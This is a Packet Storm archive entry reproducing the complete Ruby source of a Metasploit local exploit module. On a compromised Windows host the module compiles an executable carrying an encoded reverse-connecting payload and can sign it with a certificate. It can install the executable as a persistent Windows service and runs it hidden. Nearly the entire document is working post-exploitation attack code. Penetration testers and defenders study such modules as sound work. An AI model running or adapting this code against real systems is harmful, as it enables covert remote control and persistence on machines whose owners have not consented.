Powershell Payload Execution

2016-10-10T00:00:00
ID PACKETSTORM:139050
Type packetstorm
Reporter Matt Andreko
Modified 2016-10-10T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/post/windows/services'  
require 'msf/core/post/windows/powershell'  
require 'msf/core/exploit/powershell/dot_net'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Windows::Services  
include Msf::Post::Windows::Powershell  
include Msf::Post::Windows::Powershell::DotNet  
include Msf::Post::File  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Powershell Payload Execution",  
'Description' => %q{  
This module generates a dynamic executable on the session host using .NET templates.  
Code is pulled from C# templates and impregnated with a payload before being  
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds  
the executable (standard or Windows service) in memory and produces a binary  
which can be started/installed and downloaded for later use. After compilation the  
PoweShell session can also sign the executable if provided a path the a .pfx formatted  
certificate.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu  
'Matt "hostess" Andreko' # .NET harness, and requested modifications  
],  
  
'Payload' =>  
{  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EAX',  
},  
},  
'Platform' => [ 'windows' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [ [ 'Universal', {} ] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 14 2012'  
  
))  
  
register_options(  
[  
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),  
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),  
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),  
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),  
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),  
  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),  
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),  
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),  
OptString.new('USERNAME', [false, 'Windows username']),  
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),  
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),  
  
], self.class)  
  
end  
  
def exploit  
  
# Make sure we meet the requirements before running the script  
if !(session.type == "meterpreter" || have_powershell?)  
print_error("Incompatible Environment")  
return  
end  
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either  
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'  
print_error("Cannot run as system")  
return  
end  
  
# End of file marker  
eof = Rex::Text.rand_text_alpha(8)  
env_suffix = Rex::Text.rand_text_alpha(8)  
  
com_opts = {}  
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session  
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"  
com_opts[:payload] = payload_script #payload.encoded  
vprint_good com_opts[:payload].length.to_s  
  
if datastore['SVC_GEN']  
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')  
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']  
else  
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')  
end  
  
com_opts[:cert] = datastore['CERT_PATH']  
  
if datastore['SVC_REMOVE']  
remove_dyn_service(com_opts[:target])  
return  
end  
vprint_good("Writing to #{com_opts[:target]}")  
  
com_script = dot_net_compiler(com_opts)  
ps_out = psh_exec(com_script)  
  
if datastore['Powershell::Post::dry_run']  
print_good com_script  
print_error ps_out  
return  
end  
# Check for result  
begin  
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size  
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")  
rescue  
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")  
return  
end  
  
# Run the harness  
if datastore['START_APP']  
if datastore['SVC_GEN']  
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)  
if service_start(datastore['SVC_NAME']).to_i == 0  
vprint_good("Service Started")  
end  
else  
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})  
end  
end  
  
  
print_good('Finished!')  
end  
  
  
# This should be handled by the exploit mixin, right?  
def payload_script  
pay_mod = framework.payloads.create(datastore['PAYLOAD'])  
payload = pay_mod.generate_simple(  
"BadChars" => '',  
"Format" => 'raw',  
"Encoder" => 'x86/alpha_mixed',  
"ForceEncode" => true,  
"Options" =>  
{  
'LHOST' => datastore['LHOST'],  
'LPORT' => datastore['LPORT'],  
'EXITFUNC' => 'thread',  
'BufferRegister' => 'EAX'  
},  
)  
  
# To ensure compatibility out payload should be US-ASCII  
return payload.encode('ASCII')  
end  
  
# Local service functionality should probably be replaced with upstream Post  
def remove_dyn_service(file_path)  
service_stop(datastore['SVC_NAME'])  
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0  
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")  
session.fs.file.rm(file_path.gsub('\\','\\\\'))  
else  
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")  
end  
return  
end  
  
def install_dyn_service(file_path)  
  
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)  
if service_start(datastore['SVC_NAME']).to_i == 0  
vprint_good("Service Binary #{file_path} Started")  
end  
end  
  
end  
`